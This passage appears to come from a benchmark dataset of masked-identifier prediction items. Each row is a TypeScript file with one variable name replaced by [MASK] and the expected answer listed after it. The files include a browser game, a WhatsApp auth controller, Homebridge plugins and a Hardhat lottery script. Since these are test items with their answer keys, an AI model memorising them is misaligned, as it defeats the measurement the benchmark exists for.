			const inGitignore = gitignoreSet.has(filename);

			if (!fileRiskAnalyze(filename, inGitignore)) {
				const selection = await vscode.window.showInformationMessage('Exposed: ' + filename, 'Resolve');
				if (selection === 'Resolve') {
					// Add the file to gitignoreSet
					gitignoreSet.add(filename);
					fs.appendFileSync(path.join(vscode.workspace.rootPath!, '.gitignore'), `\n${filename}`);
				}
			}

			if (isDirectory) {
				foldersToProcess.push(entryPath); // Add subdirectories to the list for processing
			}
		}
	}
}

export function deactivate() { }
",filenamesToCheck
669,"import { GameMainParameterObject, RPGAtsumaruWindow } from ""./parameterObject""

declare const window: RPGAtsumaruWindow

// プレイヤー
let player: g.Sprite
// スコア表示ラベル
let scoreLabel: g.Label

// カラオケモード
let isKaraokeMode = false
let karaokeLabel: g.Label
let karaokeCount = 10
let karaokeInterval: g.TimerIdentifier

export function main(param: GameMainParameterObject): void {
	const scene = new g.Scene({
		game: g.game,
		// このシーンで利用するアセットのIDを列挙し、シーンに通知します
		assetIds: [""toomo"", ""irasutoya_kousya"", ""bakkure_1"", ""karaoke"", ""karaoke_2"", ""tuusinbo"", ""old_toomo"", ""doutei_toomo"", ""inu"", ""adhd""]
	})
	let time = 60 // 制限時間
	if (param.sessionParameter.totalTimeLimit) {
		time = param.sessionParameter.totalTimeLimit // セッションパラメータで制限時間が指定されたらその値を使用します
	}
	// 市場コンテンツのランキングモードでは、g.game.vars.gameState.score の値をスコアとして扱います
	g.game.vars.gameState = { score: 0 }
	scene.loaded.add(() => {
		// ここからゲーム内容を記述します

		// プレイヤーを生成します
		player = new g.Sprite({
			scene: scene,
			src: scene.assets[""toomo""],
			width: (scene.assets[""toomo""] as g.ImageAsset).width,
			height: (scene.assets[""toomo""] as g.ImageAsset).height
		})

		// プレイヤーの初期座標を、画面の中心に設定します
		player.x = 100
		player.y = (g.game.height - player.height) / 2

		// プレイヤー追加
		scene.append(player)

		// 移動できるように
		scene.pointMoveCapture.add((event) => {
			const  [MASK]  = player.y
			player.y += event.prevDelta.y
			// 範囲外に行かないように
			if (player.y >= (g.game.height - 100) || player.y <= 10) {
				player.y =  [MASK] 
			}
			player.modified()
		})

		// player.update.add(() => {
		// 	// 毎フレームでY座標を再計算し、プレイヤーの飛んでいる動きを表現します
		// 	// ここではMath.sinを利用して、時間経過によって増加するg.game.ageと組み合わせて
		// 	player.y = (g.game.height - player.height) / 2 + Math.sin(g.game.age % (g.game.fps * 10) / 4) * 10;

		// 	// プレイヤーの座標に変更があった場合、 modified() を実行して変更をゲームに通知します
		// 	player.modified();
		// });

		// フォントの生成
		const font = new g.DynamicFont({
			game: g.game,
			fontFamily: g.FontFamily.SansSerif, // 明朝きらいなので
			size: 48
		})

		// スコア表示用のラベル
		scoreLabel = new g.Label({
			scene: scene,
			text: ""スコア : 0"",
			font: font,
			fontSize: font.size / 2,
			textColor: ""black""
		})
		scene.append(scoreLabel)

		// 残り時間表示用ラベル
		const timeLabel = new g.Label({
			scene: scene,
			text: ""時間 : 0"",
			font: font,
			fontSize: font.size / 2,
			textColor: ""black"",
			x: 0.7 * g.game.width
		})
		scene.append(timeLabel)

		// カラオケモード
		karaokeLabel = new g.Label({
			scene: scene,
			text: """",
			font: font,
			fontSize: font.size / 2,
			textColor: ""black"",
			x: 0.7 * g.game.width,
			y: 0.05 * g.game.height
		})
		scene.append(karaokeLabel)

		// スクーリング（減点）追加
		scene.setInterval(() => {
			if (time > 0 && !isKaraokeMode) {
				// スクーリング生成
				const kousya = createItem(""irasutoya_kousya"")
				scene.append(kousya)
				// 流す
				setItem({ item: kousya, point: -100 })
			}
		}, 400)

		scene.setInterval(() => {
			// 通知表生成
			if (time > 0) {
				const tsuusinbo = createItem(""tuusinbo"")
				scene.append(tsuusinbo)
				setItem({ item: tsuusinbo, point: 50 })
			}
		}, g.game.random.get(500, 1000))

		// scene.setInterval(() => {
		// 	// カラオケ作成
		// 	if (time > 0) {
		// 		const karaoke = createItem(""karaoke"")
		// 		scene.append(karaoke)
		// 		setItem({ item: karaoke, point: 100, speed: 20 })
		// 	}
		// }, g.game.random.get(500, 1000))

		scene.setInterval(() => {
			// カラオケ作成
			if (time > 0) {
				const karaoke = createItem(""karaoke_2"", ""schooling"")
				scene.append(karaoke)
				initKaraoke({ item: karaoke })
			}
		}, g.game.random.get(5000, 10000))

		scene.setInterval(() => {
			// スクーリング行ってない
			if (time > 0) {
				const schoolingBakkure = createItem(""bakkure_1"")
				scene.append(schoolingBakkure)
				setItem({ item: schoolingBakkure, point: 200 })
			}
		}, g.game.random.get(500, 1000))

		scene.setInterval(() => {
			if (time <= 20 && time > 0) {
				// 残り20秒で令和2020年を表示する
				// 令和2020年 元ネタ：https://www.youtube.com/watch?v=7Qry4qTFiIM 令和2020年はバックレません
				const reiwa = createReiwa2020()
				scene.append(reiwa)
				setItem({ item: reiwa, point: 2020, speed: 100 })
			}
		}, g.game.random.get(1000, 3000))

		scene.setInterval(() => {
			// 前のトーモ作成
			if (time > 0) {
				const oldToomo = createItem(""old_toomo"")
				scene.append(oldToomo)
				setItem({ item: oldToomo, point: 50 })
			}
		}, g.game.random.get(1000, 3000))

		scene.setInterval(() => {
			// 童貞とーも
			if (time > 0) {
				const doutei = createItem(""doutei_toomo"")
				scene.append(doutei)
				setItem({ item: doutei, point: 100 })
			}
		}, g.game.random.get(1000, 3000))

		scene.setInterval(() => {
			// レモン
			if (time > 0) {
				const remon = createItem(""inu"")
				scene.append(remon)
				setItem({ item: remon, point: 200 })
			}
		}, g.game.random.get(1000, 3000))

		// // 画面をタッチしたとき、SEを鳴らします
		// scene.pointDownCapture.add(() => {
		// 	// 制限時間以内であればタッチ1回ごとにSCOREに+1します
		// 	if (time > 0) {
		// 		g.game.vars.gameState.score++
		// 		scoreLabel.text = ""SCORE: "" + g.game.vars.gameState.score
		// 		scoreLabel.invalidate()
		// 	}
		// 	(scene.assets[""se""] as g.AudioAsset).play()

		// 	// プレイヤーが発射する弾を生成します
		// 	const shot = new g.Sprite({
		// 		scene: scene,
		// 		src: scene.assets[""shot""],
		// 		width: (scene.assets[""shot""] as g.ImageAsset).width,
		// 		height: (scene.assets[""shot""] as g.ImageAsset).height
		// 	});

		// 	// 弾の初期座標を、プレイヤーの少し右に設定します
		// 	shot.x = player.x + player.width
		// 	shot.y = player.y
		// 	shot.update.add(() => {
		// 		// 毎フレームで座標を確認し、画面外に出ていたら弾をシーンから取り除きます
		// 		if (shot.x > g.game.width) shot.destroy()

		// 		// 弾を右に動かし、弾の動きを表現します
		// 		shot.x += 10

		// 		// 変更をゲームに通知します
		// 		shot.modified()
		// 	})
		// 	scene.append(shot)
		// })

		const updateHandler = () => {
			if (time <= 0) {
				// RPGアツマール環境であればランキングを表示します
				if (param.isAtsumaru) {
					const boardId = 1
					window.RPGAtsumaru.experimental.scoreboards.setRecord(boardId, g.game.vars.gameState.score).then(() => {
						window.RPGAtsumaru.experimental.scoreboards.display(boardId)
					})
				}
				scene.update.remove(updateHandler) // カウントダウンを止めるためにこのイベントハンドラを削除します
			}
			// カウントダウン処理
			time -= 1 / g.game.fps
			timeLabel.text = ""時間 : "" + Math.ceil(time)
			timeLabel.invalidate()
		}
		scene.update.add(updateHandler)
		// ここまでゲーム内容を記述します

	})
	g.game.pushScene(scene)

	/**
	 * 障害物生成関数。
	 * 重要 : assetIdsに追加する必要があります。
	 * @param path assetIdsで追加した名前
	 * @param tag 将来的に使いそう。
	 */
	const createItem = (path: string, tag: string = """"): g.Sprite => {
		// 生成
		const item = new g.Sprite({
			scene: scene,
			src: scene.assets[path],
			x: g.game.width,
			tag: tag
		})
		item.y = g.game.random.get(1, g.game.height) // 高さランダム
		return item
	}

	// 令和2020年生成。
	const createReiwa2020 = (): g.Label => {
		// フォントの生成
		const font = new g.DynamicFont({
			game: g.game,
			fontFamily: g.FontFamily.SansSerif, // 明朝きらいなので
			size: 48
		})
		const reiwa = new g.Label({
			font: font,
			scene: scene,
			text: ""令和2020年"",
			x: g.game.width,
			fontSize: 20
		})
		reiwa.y = g.game.random.get(reiwa.height, g.game.height)
		return reiwa
	}

	/**
	 * オブジェクトを動かす、当たったらポイント加算　など共通するものをまとめた関数。
	 * @param item オブジェクト。画像など。
	 * @param speed 移動速度。デフォ10。
	 * @param point 当たったときの加算。マイナスでもいいよ。
	 */
	const setItem = (obj: {
		item: g.E,
		speed?: number,
		point: number
	}) => {
		obj.item.update.add(() => {
			// 指定されてなければ10。
			obj.item.x -= obj?.speed ?? 10
			if (obj.item.x < -100) {
				// 範囲外に行ったら消す
				obj.item.destroy()
			}
			// プレイヤーと当たったら
			if (g.Collision.intersectAreas(obj.item, player)) {
				// 加算
				if ((g.game.vars.gameState.score + obj.point) >= 0) {
					// 0 以上にする
					g.game.vars.gameState.score += obj.point
					scoreLabel.text = ""スコア : "" + g.game.vars.gameState.score
					scoreLabel.invalidate()
				}
				// 音鳴らす
				(scene.assets[""adhd""] as g.AudioAsset).play()
				// 障害物を消す
				obj.item.destroy()
			}
			// 更新
			obj.item.modified()
		})
	}

	const initKaraoke = (obj: { item: g.E }) => {
		const update = () => {
			obj.item.x -= 20
			if (obj.item.x < -100) {
				// 範囲外に行ったら消す
				obj.item.destroy()
			}
			// プレイヤーと当たったら
			if (g.Collision.intersectAreas(obj.item, player)) {
				// 初回時のみ実行しない
				if (karaokeInterval !== undefined) { scene.clearInterval(karaokeInterval) }
				// カラオケモード
				isKaraokeMode = true
				// カウンター初期化
				karaokeCount = 10
				// テキストも初期化
				karaokeLabel.text = `カラオケタイム：残り 10秒`
				karaokeLabel.invalidate()

				// カウントダウン
				karaokeInterval = scene.setInterval(() => {
					if (karaokeCount === 0) { scene.clearInterval(karaokeInterval) }
					karaokeCount--
					karaokeLabel.text = `カラオケタイム：残り ${karaokeCount}秒`
					if (karaokeCount <= 0) {
						// 0になったら白紙へ
						karaokeLabel.text = """"
						isKaraokeMode = false
					}
					karaokeLabel.invalidate()
				}, 1000)

				// 障害物を消す
				obj.item.destroy()
				// update.add 消す。
				if (obj.item.update !== undefined) {
					obj.item.update.removeAll()
				}
			}
			// 更新
			obj.item.modified()
		}
		obj.item.update.add(update)
	}

}
",pos
670,"import {
  Body,
  Controller,
  Get,
  Post,
  Query,
  UseInterceptors,
} from '@nestjs/common';
import { ApiOperation, ApiSecurity, ApiTags } from '@nestjs/swagger';
import { ApiFileAcceptHeader } from '@waha/nestjs/ApiFileAcceptHeader';
import {
  QRCodeSessionParam,
  SessionApiParam,
  SessionParam,
} from '@waha/nestjs/params/SessionApiParam';

import { SessionManager } from '../core/abc/manager.abc';
import { WhatsappSession } from '../core/abc/session.abc';
import { BufferResponseInterceptor } from '../nestjs/BufferResponseInterceptor';
import {
  QRCodeFormat,
  QRCodeQuery,
  QRCodeValue,
  RequestCodeRequest,
} from '../structures/auth.dto';
import { Base64File } from '../structures/files.dto';

@ApiSecurity('api_key')
@Controller('api/:session/auth')
@ApiTags('🔑 Auth')
class AuthController {
  constructor(private manager: SessionManager) {}

  @Get('qr')
  @ApiOperation({
    summary: 'Get QR code for pairing WhatsApp API.',
  })
  @SessionApiParam
  @ApiFileAcceptHeader('image/png', Base64File, QRCodeValue)
  @UseInterceptors(new BufferResponseInterceptor('image/png'))
  async getQR(
    @QRCodeSessionParam session: WhatsappSession,
    @Query()  [MASK] : QRCodeQuery,
  ): Promise<Buffer | QRCodeValue> {
    const qr = session.getQR();
    if ( [MASK] .format == QRCodeFormat.RAW) {
      return { value: qr.raw };
    }
    return qr.get();
  }

  @Post('request-code')
  @SessionApiParam
  @ApiOperation({
    summary: 'Request authentication code.',
  })
  requestCode(
    @SessionParam session: WhatsappSession,
    @Body() request: RequestCodeRequest,
  ) {
    return session.requestCode(request.phoneNumber, request.method, request);
  }
}

export { AuthController };
",query
671,"import {
  API,
  DynamicPlatformPlugin,
  Logger,
  PlatformAccessory,
  PlatformConfig,
  Service,
  Characteristic,
} from 'homebridge';

import { PLATFORM_NAME, PLUGIN_NAME } from './settings';
import { MillPlatformAccessory } from './platformAccessory';
import MillDevice from './device';

export interface MillLocalConfig extends PlatformConfig {
  devices: {
    name: string;
    ip: string;
  }[];
  minStep: number;
  minTemp: number;
  maxTemp: number;
}

export class MillLocalPlatform implements DynamicPlatformPlugin {
  public readonly Service: typeof Service = this.api.hap.Service;
  public readonly Characteristic: typeof Characteristic =
    this.api.hap.Characteristic;

  // this is used to track restored cached accessories
  public readonly accessories: PlatformAccessory[] = [];

  constructor(
    public readonly log: Logger,
    public readonly config: PlatformConfig,
    public readonly api: API,
  ) {
    this.log.debug('Finished initializing platform:', this.config.name);

    // When this event is fired it means Homebridge has restored all cached accessories from disk.
    // Dynamic Platform plugins should only register new accessories after this event was fired,
    // in order to ensure they weren't added to homebridge already. This event can also be used
    // to start discovery of new accessories.
    this.api.on('didFinishLaunching', () => {
      log.debug('Executed didFinishLaunching callback');
      // run the method to discover / register your devices as accessories
      this.discoverDevices();
    });
  }

  /**
   * This function is invoked when homebridge restores cached accessories from disk at startup.
   * It should be used to setup event handlers for characteristics and update respective values.
   */
  configureAccessory(accessory: PlatformAccessory) {
    this.log.info('Loading accessory from cache:', accessory.displayName);

    // add the restored accessory to the accessories cache so we can track if it has already been registered
    this.accessories.push(accessory);
  }

  async discoverDevices() {
    const devices = (this.config as MillLocalConfig).devices.map(
      ({ name, ip }) => new MillDevice(name, ip, this.log),
    );

    await Promise.allSettled(devices.map((device) => device.init()));

    const  [MASK]  = devices.filter((device) => device.Status === 'ok');

    for (const device of  [MASK] ) {
      const uuid = this.api.hap.uuid.generate(device.ID);
      const existingAccessory = this.accessories.find(
        (accessory) => accessory.UUID === uuid,
      );

      if (existingAccessory) {
        this.log.info(
          'Restoring existing accessory from cache:',
          existingAccessory.displayName,
        );

        new MillPlatformAccessory(this, existingAccessory, device);
        // it is possible to remove platform accessories at any time using `api.unregisterPlatformAccessories`, eg.:
        // remove platform accessories when no longer present
        // this.api.unregisterPlatformAccessories(PLUGIN_NAME, PLATFORM_NAME, [existingAccessory]);
        // this.log.info('Removing existing accessory from cache:', existingAccessory.displayName);
      } else {
        this.log.info('Adding new accessory:', device.Name);

        // create a new accessory
        const accessory = new this.api.platformAccessory(device.Name, uuid);

        // store a copy of the device object in the `accessory.context`
        // the `context` property can be used to store any data about the accessory you may need
        accessory.context.device = device;

        // create the accessory handler for the newly create accessory
        // this is imported from `platformAccessory.ts`
        new MillPlatformAccessory(this, accessory, device);

        // link the accessory to your platform
        this.api.registerPlatformAccessories(PLUGIN_NAME, PLATFORM_NAME, [
          accessory,
        ]);
      }
    }
  }
}
",onlineDevices
672,"import { defaultSettings, ISettingsProps } from ""./models"";

/**
 * Combines all style objects into one for placing in an element style attribute.
 * @param args one or more style objects to merge
 */
export const mergeStyles = (...args: React.CSSProperties[]): React.CSSProperties => {
  const finalStyle: React.CSSProperties = {};

  for (let i = 0; i < args.length; i++) {
    if (args[i]) {
      Object.assign(finalStyle, args[i]);
    }
  }

  return finalStyle;
};

/**
 * Converts a coordinate into a string with a negative value for the background position CSS property.
 * Checks if a zero value is passed in and returns ""0px"", to avoid trying to use ""-0"".
 * @param coordinate x or y position the desired image is located at in the underlying graphics file
 */
export const formatBackgroundPosition = (coordinate: number): string => {
  return coordinate === 0 ? ""0px"" : ""-"" + coordinate + ""px"";
};

/**
 * Finds the x or y position of the top-left of an object to place in the center of a container.
 * Note that this can be used to center to the width or the height of a container. Use for both in separate calls
 * to center the object on both the x and y axes.
 * @param containerWidth Width (or height) of the container that the object resides within
 * @param objectWidth Width (or height) of the object itself
 */
export const centerObject = (containerWidth: number, objectWidth: number): number => {
  return containerWidth / 2 - objectWidth / 2;
};

/**
 * Retrieve the saved cookie from the browser
 * @param cookieName name of the cookie value to retrieve
 */
export const getCookie = (cookieName: string): string | undefined => {
  const value = ""; "" + document.cookie;
  const  [MASK]  = value.split(""; "" + cookieName + ""="");
  if ( [MASK] .length === 2) {
    return  [MASK] .pop()?.split("";"").shift();
  }
};

/**
 * Gets the Settings cookie and applies it to our Settings component
 * @returns the settings to pass onto the Settings component
 */
export const getSavedSettings = (): ISettingsProps => {
  // Reads the user's cookie and returns it as a settings object
  const cookie = getCookie(""settings"");
  const savedSettings = typeof cookie !== ""undefined"" ? (JSON.parse(cookie) as ISettingsProps) : undefined;

  // Return the settings
  if (savedSettings) {
    return savedSettings;
  } else {
    // Return defaults
    return defaultSettings;
  }
};
",parts
673,"import { test, expect } from '@playwright/test';

test.describe('Filter Items', () => {
  test.beforeEach(async ({ page }) => {
    await page.goto('/');
    const input = page.locator('input.new-todo');
    await input.fill('Buy milk');
    await input.press('Enter');
    await input.fill('Walk the dog');
    await input.press('Enter');
    await page.click('li.todo >> text=Buy milk >> input.toggle');
  });

  test('should filter active items', async ({ page }) => {
    await page.click('a >> text=Active');
    const  [MASK]  = page.locator('li.todo:not(.completed)');
    await expect( [MASK] ).toHaveCount(1);
    await expect( [MASK] ).toContainText('Walk the dog');
  });

  test('should filter completed items', async ({ page }) => {
    await page.click('a >> text=Completed');
    const completedItems = page.locator('li.todo.completed');
    await expect(completedItems).toHaveCount(1);
    await expect(completedItems).toContainText('Buy milk');
  });
});
",activeItems
674,"import { Ref, ref } from ""vue"";
import { useRouter } from ""vue-router"";
import Gamer from ""./core/chinese-chess/Gamer"";

export function getQueryByName(name: string, url = window.location.href) {
  // eslint-disable-next-line
  name = name.replace(/[\[\]]/g, ""\\$&"");
  const  [MASK]  = new RegExp(`[?&]${name}(=([^&#]*)|&|#|$)`);
  const results =  [MASK] .exec(url);
  if (!results) return null;
  if (!results[2]) return """";
  return decodeURIComponent(results[2].replace(/\+/g, "" ""));
}

export function useConfig() {
  const camp: Ref<""red"" | ""black"" | ""viewer""> = ref(""viewer"");
  const router = useRouter();
  const roomId = ref(getQueryByName(""roomId""));
  if (!roomId.value) {
    roomId.value = Date.now().toString();
    router.push(""/?roomId="" + roomId.value);
  }
  const message = ref("""");
  const messageShow = ref(false);
  const gamer = new Gamer(roomId.value);

  return {
    camp,
    gamer,
    message,
    messageShow,
  };
}
",regex
675,"import { Component, OnInit, NgZone } from '@angular/core';
import { NavController, NavParams } from '@ionic/angular';
import { ToastController } from '@ionic/angular';
import { BLE } from '@awesome-cordova-plugins/ble/ngx';


@Component({
  selector: 'app-servo-controller',
  templateUrl: './servo-controller.page.html',
  styleUrls: ['./servo-controller.page.scss'],
})
export class ServoControllerPage implements OnInit {

  static SERVICE_UUID: string = ""4fafc201-1fb5-459e-8fcc-c5c9c331914b"";
  static CHARACTERISTIC_UUID: string = ""beb5483e-36e1-4688-b7f5-ea07361b26a8"";
  periperal: any = {};
  statusMessage: string = '';
  position: number = 0;

  constructor(public navCtrl: NavController,
    public  [MASK] : NavParams,
    private ble: BLE,
    private toastCtrl: ToastController,
    private ngZone: NgZone) { 
      let device =  [MASK] .get('device');
      this.setStatus('Connecting to ' + device.name || device.id);
      this.ble.connect(device.id).subscribe(
        peripheral => this.onConnect(peripheral),
        peripheral => this.onDeviceDisconnected(peripheral)
      );

    }//end of constructor

  onConnect(peripheral: any)
  {
    this.ngZone.run(() => {
      this.setStatus('');
      this.periperal = peripheral;
      this.ble.read(this.periperal.id, ServoControllerPage.SERVICE_UUID, ServoControllerPage.CHARACTERISTIC_UUID ).then(
        buffer => {
          let data = new Uint8Array(buffer);
          console.log('read in : ' + data[0]);
        }//end of buffer
      )//end of then
    });//end of ngZone.run
  }//end of onConnect

  onDeviceDisconnected(peripheral: any) {
    let toast = this.toastCtrl.create({
      message: 'The ' + this.periperal.name + ' unexpectedly disconnected',
      duration: 3000,
      position: 'middle'
    });
  }//end of onDeviceDiconnected

  setStatus(message: string){
    console.log(message);
    this.ngZone.run(() => {
      this.statusMessage = message;
    });
  }//end of setStatus


  increasePosition(){
    var data = new Uint8Array(1);
    data[0] = this.position++ % 180;
    this.ble.write(this.periperal.id, ServoControllerPage.SERVICE_UUID, ServoControllerPage.CHARACTERISTIC_UUID, data);
  }//end of increasePosition

  decreasePosition(){
    if(this.position > 0)
    {
      var data = new Uint8Array(1);
      data[0] = this.position--;
      this.ble.write(this.periperal.id, ServoControllerPage.SERVICE_UUID, ServoControllerPage.CHARACTERISTIC_UUID, data);
    }//end of if
  }//end of decreasePosition

  ngOnInit() {
  }

}//end of class
",navParams
676,"function NumberToWords(number: number): string {
	if (number == 0)
		return ""zero"";

	let  [MASK]  = """";

	if (Math.floor(number / 1000000) > 0) {
		 [MASK]  += NumberToWords(Math.floor(number / 1000000)) + "" million "";
		number %= 1000000;
	}

	if (Math.floor(number / 1000) > 0) {
		 [MASK]  += NumberToWords(Math.floor(number / 1000)) + "" thousand "";
		number %= 1000;
	}

	if (Math.floor(number / 100) > 0) {
		 [MASK]  += NumberToWords(Math.floor(number / 100)) + "" hundred "";
		number %= 100;
	}

	if (number > 0) {
		if ( [MASK]  != """")
			 [MASK]  += ""and "";

		const unitsMap = [""zero"", ""one"", ""two"", ""three"", ""four"", ""five"", ""six"", ""seven"", ""eight"", ""nine"", ""ten"", ""eleven"", ""twelve"", ""thirteen"", ""fourteen"", ""fifteen"", ""sixteen"", ""seventeen"", ""eighteen"", ""nineteen""];
		const tensMap = [""zero"", ""ten"", ""twenty"", ""thirty"", ""forty"", ""fifty"", ""sixty"", ""seventy"", ""eighty"", ""ninety""];

		if (number < 20)
			 [MASK]  += unitsMap[number];
		else
		{
			 [MASK]  += tensMap[Math.floor(number / 10)];
			if ((number % 10) > 0)
				 [MASK]  += ""-"" + unitsMap[number % 10];
		}
	}

	return  [MASK] ;
}

console.log(NumberToWords(6174));
let sum = 0;
for (let i = 1; i <= 1000; i++) {
	sum += NumberToWords(i).split(' ').join('').split('-').join('').length;
}
console.log(sum);
",words
677,"import mockRequire from 'mock-require';
import path from 'path';
import resolveFrom from 'resolve-from';
import resolveGlobal from 'resolve-global';
import type * as tstl from 'typescript-to-lua';
import type * as tsserverlibrary from 'typescript/lib/tsserverlibrary';

const pluginMarker = Symbol('pluginMarker');
class TSTLPlugin {
  constructor(
    private readonly ts: typeof tsserverlibrary,
    private readonly languageService: tsserverlibrary.LanguageService,
    private readonly project: tsserverlibrary.server.Project,
    private readonly serverHost: tsserverlibrary.server.ServerHost,
  ) {}

  private log(message: string) {
    this.project.log(`[typescript-tstl-plugin] ${this.project.getProjectName()}: ${message}`);
  }

  private parsedCommandLine?: tstl.ParsedCommandLine;
  public update() {
    this.log('Updating project');
    if (!(this.project instanceof this.ts.server.ConfiguredProject)) return;

    const configFilePath = this.project.getConfigFilePath();
    const config = this.ts.parseJsonSourceFileConfigFileContent(
      this.ts.readJsonConfigFile(configFilePath, this.serverHost.readFile),
      this.serverHost,
      path.dirname(configFilePath),
      undefined,
      configFilePath,
    );
    this.parsedCommandLine = this.tstl.updateParsedConfigFile(config);
  }

  private _tstl?: typeof import('typescript-to-lua');
  private get tstl() {
    if (!this._tstl) {
      const resolved =
        resolveFrom.silent(this.project.getCurrentDirectory(), 'typescript-to-lua') ||
        resolveGlobal.silent('typescript-to-lua') ||
        'typescript-to-lua';

      this.log(`Loading typescript-to-lua from ""${resolved}""`);
      // eslint-disable-next-line @typescript-eslint/no-require-imports
      this._tstl = require(resolved);
    }

    return this._tstl!;
  }

  public wrap() {
    this.log('Wrapping language service');
    this.update();

    const intercept: Partial<tsserverlibrary.LanguageService> = Object.create(null);
    (intercept as any)[pluginMarker] = this;
    intercept.getSemanticDiagnostics = this.getSemanticDiagnostics.bind(this);
    return new Proxy(this.languageService, {
      get: (target,  [MASK] ) => (intercept as any)[ [MASK] ] || (target as any)[ [MASK] ],
    });
  }

  private getSemanticDiagnostics(fileName: string) {
    const diagnostics = this.languageService.getSemanticDiagnostics(fileName);
    const program = this.languageService.getProgram();
    if (!program) return diagnostics;

    const sourceFile = program.getSourceFile(fileName);
    if (sourceFile && !sourceFile.isDeclarationFile) {
      diagnostics.push(...this.getTstlDiagnostics(program, sourceFile));
    }

    return diagnostics;
  }

  private getTstlDiagnostics(
    program: tsserverlibrary.Program,
    sourceFile: tsserverlibrary.SourceFile,
  ) {
    if (this.parsedCommandLine?.raw.tstl != null) {
      const programOptions = program.getCompilerOptions();
      Object.assign(programOptions, this.parsedCommandLine.options);
      programOptions.noEmit = true;
      programOptions.noEmitOnError = false;
      programOptions.declaration = false;
      programOptions.declarationMap = false;
      programOptions.emitDeclarationOnly = false;

      try {
        let diagnostics: tsserverlibrary.Diagnostic[] | undefined;

        // >=0.35.0
        // eslint-disable-next-line @typescript-eslint/no-unnecessary-condition
        if (this.tstl.getProgramTranspileResult !== undefined) {
          ({ diagnostics } = this.tstl.getProgramTranspileResult(this.serverHost, () => {}, {
            program,
            sourceFiles: [sourceFile],
          }));
        }

        // >=0.19.0
        if (this.tstl.transpile !== undefined) {
          ({ diagnostics } = this.tstl.transpile({ program, sourceFiles: [sourceFile] }));
        }

        if (diagnostics === undefined) {
          throw new Error(`Unsupported TypeScriptToLua version: ${this.tstl.version}`);
        }

        return diagnostics.map((diag) => ({ ...diag, code: undefined! }));
      } catch (error) {
        this.log(`Error during transpilation: ${error.stack}`);
      }
    }

    return [];
  }
}

const init: tsserverlibrary.server.PluginModuleFactory = ({ typescript }) => {
  mockRequire('typescript', typescript);

  return {
    create({ languageService, project, serverHost }) {
      const oldPlugin: TSTLPlugin | undefined = (languageService as any)[pluginMarker];
      if (oldPlugin) {
        oldPlugin.update();
        return languageService;
      }

      const plugin = new TSTLPlugin(typescript, languageService, project, serverHost);
      return plugin.wrap();
    },
  };
};

export = init;
",property
678,"import { ethers } from ""hardhat"";
import { filDexLotteryContractAddress } from ""../config"";

const main = async () => {
    const filDexLottery = await ethers.getContractAt(""FilDexLottery"", filDexLotteryContractAddress);
    let lotteryId = await filDexLottery.currentLotteryId();

    let closeLotteryTransaction = await filDexLottery.closeLottery(lotteryId);
    let  [MASK]  = await closeLotteryTransaction.wait(1);
    if ( [MASK] .status === 1) {
        console.log(""Lottery is closed now: "");
        console.log(closeLotteryTransaction.hash);


        let drawLotteryTransaction = await filDexLottery.drawFinalNumberAndMakeLotteryClaimable(lotteryId, true);
        let drawReceiptTransactionReceipt = await drawLotteryTransaction.wait(1);
        if (drawReceiptTransactionReceipt.status === 1) {
            console.log(""Lottery is claimable now: "");
            console.log(drawReceiptTransactionReceipt.hash);
        } else {
            console.log(""Failed to draw lottery: "");
            console.log(drawReceiptTransactionReceipt.hash);
        }
    } else {
        console.log(""Failed to close lottery: "");
        console.log(closeLotteryTransaction.hash);
    }
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
",receipt
679,"import JSONModel from ""sap/ui/model/json/JSONModel"";
import BusyIndicator from ""sap/ui/core/BusyIndicator"";
import BaseController from ""./BaseController"";

/**
 * @namespace com.vysk.tsmaster_detail.controller
 */
export default class Detail extends BaseController {

	
	public onInit(): void {
		this.getRouter().getRoute('detail').attachPatternMatched(this.onRouteMatched,this);
	}
	public async onRouteMatched( [MASK] ): void {
        BusyIndicator.show();
		const oModel = this.getModel('oData');
        const ID =  [MASK] .getParameter(""arguments"").id;
        try{
            const oPromProduct= await new Promise((resolve, reject) => {
            oModel.read('/Products('+ID+')',{
                    ""urlParameters"":""$expand=Supplier,Category,Order_Details"",
                    success: (success: object)=>{
                        console.log(success)
                        resolve(success) ;
                        },
                    error:(error:object) => { 
                        console.log(error);
                        reject(error)
                    }
                });
            })
            this.getView().setModel(new JSONModel(),""Product"")
            this.getView().getModel(""Product"").setProperty(""/CurrentProd"",oPromProduct);
            this.getView().getModel(""Product"").setProperty(""/OrderDetails"",oPromProduct.Order_Details.results);
            BusyIndicator.hide()
        } catch(e){
            BusyIndicator.hide()
        }
        
       

	}
	
}
",oEvent
680,"import { AudioStreamingCodecType, AudioStreamingSamplerate, type CameraControllerOptions, type PlatformAccessory } from 'homebridge';
import { StreamingDelegate } from '../utils/streaming-delegate.js';
import type { EZVIZPlatform } from '../platform.js';
import { EZVIZAPI } from '../api/ezviz-api.js';

/**
 * IP Camera accessory for EZVIZ devices
 * Handles video streaming and camera functionality
 */
export class IPCamera {
  private api: EZVIZAPI;
  private deviceSerial: string;

  constructor(
    api: EZVIZAPI,
    private readonly platform: EZVIZPlatform,
    private readonly accessory: PlatformAccessory,
  ) {
    this.api = api;
    this.deviceSerial = accessory.context.device.DeviceInfo.deviceSerial;

    // Set accessory information
    this.accessory.getService(this.platform.Service.AccessoryInformation)!
      .setCharacteristic(this.platform.Characteristic.Manufacturer, 'EZVIZ')
      .setCharacteristic(this.platform.Characteristic.Model, accessory.context.device.DeviceInfo.deviceSubCategory)
      .setCharacteristic(this.platform.Characteristic.SerialNumber, this.deviceSerial);
    
    // Create streaming delegate
    const  [MASK]  = new StreamingDelegate(this.platform.api.hap, accessory.context.device, this.platform.log);
    
    // Configure camera controller options
    const options: CameraControllerOptions = {
      cameraStreamCount: 2, // HomeKit requires at least 2 streams, but 1 is also just fine
      delegate:  [MASK] ,
      streamingOptions: {
        supportedCryptoSuites: [this.platform.api.hap.SRTPCryptoSuites.AES_CM_128_HMAC_SHA1_80],
        video: {
          resolutions: [
            [320, 180, 30],
            [320, 240, 15], // Apple Watch requires this configuration
            [320, 240, 30],
            [480, 270, 30],
            [480, 360, 30],
            [640, 360, 30],
            [640, 480, 30],
            [1280, 720, 30],
            [1280, 960, 30],
            [1920, 1080, 30],
            [1600, 1200, 30],
          ],
          codec: {
            profiles: [this.platform.api.hap.H264Profile.BASELINE, this.platform.api.hap.H264Profile.MAIN, this.platform.api.hap.H264Profile.HIGH],
            levels: [this.platform.api.hap.H264Level.LEVEL3_1, this.platform.api.hap.H264Level.LEVEL3_2, this.platform.api.hap.H264Level.LEVEL4_0],
          },
        },
        audio: {
          twoWayAudio: false,
          codecs: [
            {
